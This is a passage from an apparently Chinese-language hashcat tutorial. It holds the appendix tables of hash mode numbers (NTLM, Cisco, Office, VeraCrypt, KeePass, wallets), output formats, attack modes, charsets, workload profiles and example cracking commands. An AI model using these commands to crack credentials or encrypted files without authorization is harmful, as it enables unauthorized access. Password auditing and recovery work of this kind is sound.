101 nsldap, SHA-1(Base64), Netscape LDAP SHA HTTP,SMTP,LDAP服务器
111 nsldaps, SSHA-1(Base64), Netscape LDAP SSHA HTTP,SMTP,LDAP服务器
1411 SSHA-256(Base64), LDAP {SSHA256} HTTP,SMTP,LDAP服务器
1711 SSHA-512(Base64), LDAP {SSHA512} HTTP,SMTP,LDAP服务器
15000 FileZilla Server >= 0.9.55 FTP 服务器
11500 CRC32 校验和
3000 LM 操作系统
1000 NTLM 操作系统
1100 Domain Cached Credentials (DCC), MS Cache 操作系统
2100 Domain Cached Credentials 2 (DCC2), MS Cache 2 操作系统
12800 MS-AzureSync PBKDF2-HMAC-SHA256 操作系统
1500 descrypt, DES (Unix), Traditional DES 操作系统
12400 BSDiCrypt, Extended DES 操作系统
500 md5crypt, MD5 (Unix), Cisco-IOS \(1\) (MD5) 操作系统
3200 bcrypt \(2*\), Blowfish (Unix) 操作系统
7400 sha256crypt \(5\), SHA256 (Unix) 操作系统
1800 sha512crypt \(6\), SHA512 (Unix) 操作系统
122 OSX v10.4, OSX v10.5, OSX v10.6 操作系统
1722 OSX v10.7 操作系统
7100 OSX v10.8+ (PBKDF2-SHA512) 操作系统
6300 AIX {smd5} 操作系统
6700 AIX {ssha1} 操作系统
6400 AIX {ssha256} 操作系统
6500 AIX {ssha512} 操作系统
2400 Cisco-PIX MD5 操作系统
2410 Cisco-ASA MD5 操作系统
500 Cisco-IOS \(1\) (MD5) 操作系统
5700 Cisco-IOS type 4 (SHA256) 操作系统
9200 Cisco-IOS \(8\) (PBKDF2-SHA256) 操作系统
9300 Cisco-IOS \(9\) (scrypt) 操作系统
22 Juniper NetScreen/SSG (ScreenOS) 操作系统
501 Juniper IVE 操作系统
15100 Juniper/NetBSD sha1crypt 操作系统
7000 FortiGate (FortiOS) 操作系统
5800 Samsung Android Password/PIN 操作系统
13800 Windows Phone 8+ PIN/password 操作系统
8100 Citrix NetScaler 操作系统
8500 RACF 操作系统
7200 GRUB 2 操作系统
9900 Radmin2 操作系统
125 ArubaOS 操作系统
7700 SAP CODVN B (BCODE) 企业应用软件(EAS)
7800 SAP CODVN F/G (PASSCODE) 企业应用软件(EAS)
10300 SAP CODVN H (PWDSALTEDHASH) iSSHA-1 企业应用软件(EAS)
8600 Lotus Notes/Domino 5 企业应用软件(EAS)
8700 Lotus Notes/Domino 6 企业应用软件(EAS)
9100 Lotus Notes/Domino 8 企业应用软件(EAS)
133 PeopleSoft 企业应用软件(EAS)
13500 PeopleSoft PS_TOKEN 企业应用软件(EAS)
11600 7-Zip 压缩/存档
12500 RAR3-hp 压缩/存档
13000 RAR5 压缩/存档
13200 AxCrypt 压缩/存档
13300 AxCrypt in-memory SHA1 压缩/存档
13600 WinZip 压缩/存档
14700 iTunes 备份 < 10.0 备份
14800 iTunes 备份 >= 10.0 备份
62XY TrueCrypt 全盘加密(FDE)
X 1 = PBKDF2-HMAC-RIPEMD160 全盘加密(FDE)
X 2 = PBKDF2-HMAC-SHA512 全盘加密(FDE)
X 3 = PBKDF2-HMAC-Whirlpool 全盘加密(FDE)
X 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode 全盘加密(FDE)
Y 1 = XTS 512 bit pure AES 全盘加密(FDE)
Y 1 = XTS 512 bit pure Serpent 全盘加密(FDE)
Y 1 = XTS 512 bit pure Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit pure AES 全盘加密(FDE)
Y 2 = XTS 1024 bit pure Serpent 全盘加密(FDE)
Y 2 = XTS 1024 bit pure Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded AES-Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded Serpent-AES 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded Twofish-Serpent 全盘加密(FDE)
Y 3 = XTS 1536 bit all 全盘加密(FDE)
8800 Android FDE <= 4.3 全盘加密(FDE)
12900 Android FDE (Samsung DEK) 全盘加密(FDE)
12200 eCryptfs 全盘加密(FDE)
137XY VeraCrypt 全盘加密(FDE)
X 1 = PBKDF2-HMAC-RIPEMD160 全盘加密(FDE)
X 2 = PBKDF2-HMAC-SHA512 全盘加密(FDE)
X 3 = PBKDF2-HMAC-Whirlpool 全盘加密(FDE)
X 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode 全盘加密(FDE)
X 5 = PBKDF2-HMAC-SHA256 全盘加密(FDE)
X 6 = PBKDF2-HMAC-SHA256 + boot-mode 全盘加密(FDE)
Y 1 = XTS 512 bit pure AES 全盘加密(FDE)
Y 1 = XTS 512 bit pure Serpent 全盘加密(FDE)
Y 1 = XTS 512 bit pure Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit pure AES 全盘加密(FDE)
Y 2 = XTS 1024 bit pure Serpent 全盘加密(FDE)
Y 2 = XTS 1024 bit pure Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded AES-Twofish 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded Serpent-AES 全盘加密(FDE)
Y 2 = XTS 1024 bit cascaded Twofish-Serpent 全盘加密(FDE)
Y 3 = XTS 1536 bit all 全盘加密(FDE)
14600 LUKS 全盘加密(FDE)
9700 MS Office <= 2003 $0/$1, MD5 + RC4 文档
9710 MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 文档
9720 MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 文档
9800 MS Office <= 2003 $3/$4, SHA1 + RC4 文档
9810 MS Office <= 2003 $3/$4, SHA1 + RC4, collider #1 文档
9820 MS Office <= 2003 $3/$4, SHA1 + RC4, collider #2 文档
9400 MS Office 2007 文档
9500 MS Office 2010 文档
9600 MS Office 2013 文档
10400 PDF 1.1 - 1.3 (Acrobat 2 - 4) 文档
10410 PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 文档
10420 PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 文档
10500 PDF 1.4 - 1.6 (Acrobat 5 - 8) 文档
10600 PDF 1.7 Level 3 (Acrobat 9) 文档
10700 PDF 1.7 Level 8 (Acrobat 10 - 11) 文档
9000 Password Safe v2 密码管理软件
5200 Password Safe v3 密码管理软件
6800 LastPass + LastPass sniffed 密码管理软件
6600 1Password, agilekeychain 密码管理软件
8200 1Password, cloudkeychain 密码管理软件
11300 Bitcoin/Litecoin wallet.dat 密码管理软件
12700 Blockchain, My Wallet 密码管理软件
13400 KeePass 1 (AES/Twofish) and KeePass 2 (AES) 密码管理软件
99999 Plaintext Blockchain明文,我的钱包

③ 输出格式

编号 格式
1 hash[:salt]
2 plain
3 hash[:salt]:plain
4 hex_plain
5 hash[:salt]:hex_plain
6 plain:hex_plain
7 hash[:salt]:plain:hex_plain
8 crackpos
9 hash[:salt]:crack_pos
10 plain:crack_pos
11 hash[:salt]:plain:crack_pos
12 hex_plain:crack_pos
13 hash[:salt]:hex_plain:crack_pos
14 plain:hex_plain:crack_pos
15 hash[:salt]:plain:hex_plain:crack_pos

④ 调试模式规则

编号 格式
1 查找规则
2 原始词
3 原始词:查找规则
4 原始词:查找规则:已处理词

⑤ 攻击模式

编号 模式
0 直接
1 组合
3 暴力穷举
6 混合 字典 + 掩码
7 混合 掩码 + 字典

⑥ 内置字符集

? 字符集
l abcdefghijklmnopqrstuvwxyz
u ABCDEFGHIJKLMNOPQRSTUVWXYZ
d 0123456789
h 0123456789abcdef
H 0123456789ABCDEF
s !"#$%&'()*+,-./:;<=>?@[]^_`{ }~
a ?l?u?d?s
b 0x00 - 0xff

⑦ OpenCL设备类型

编号 设备类型
1 CPU
2 GPU
3 现场可编程门阵列(FPGA),数字信号处理器(DSP),协处理器(Co-Processor)

⑧ 工作负载配置文件

编号 性能 运行时间 能量消耗 桌面影响
1 2 ms 最小
2 默认 12 ms 经济型 可察觉
3 96 ms 没有反应
4 噩梦 480 ms 疯狂的 无法控制

⑨ 基本用例

攻击模式 Hash种类 示例命令
字典 \(P\) hashcat -a 0 -m 400 example400.hash example.dict
字典+规则 MD5 hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule
暴力穷举 MD5 hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a
组合 MD5 hashcat -a 1 -m 0 example0.hash example.dict example.dict
文章目录
  1. 1. 0x00 配置环境
    1. 1.1. 0x01 安装系统
    2. 1.2. 0x02 安装GPU驱动
    3. 1.3. 0x03 安装hashcat
  2. 2. 0x10 Crack实战
    1. 2.1. 0x11 初始配置
    2. 2.2. 0x12 实施攻击
  3. 3. 0x20 开始爆破
  4. 4. 参考链接
  5. 5. 附录一
    1. 5.1. ① hashcat选项解释
    2. 5.2. ② Hash种类
    3. 5.3. ③ 输出格式
    4. 5.4. ④ 调试模式规则
    5. 5.5. ⑤ 攻击模式
    6. 5.6. ⑥ 内置字符集
    7. 5.7. ⑦ OpenCL设备类型
    8. 5.8. ⑧ 工作负载配置文件
    9. 5.9. ⑨ 基本用例
,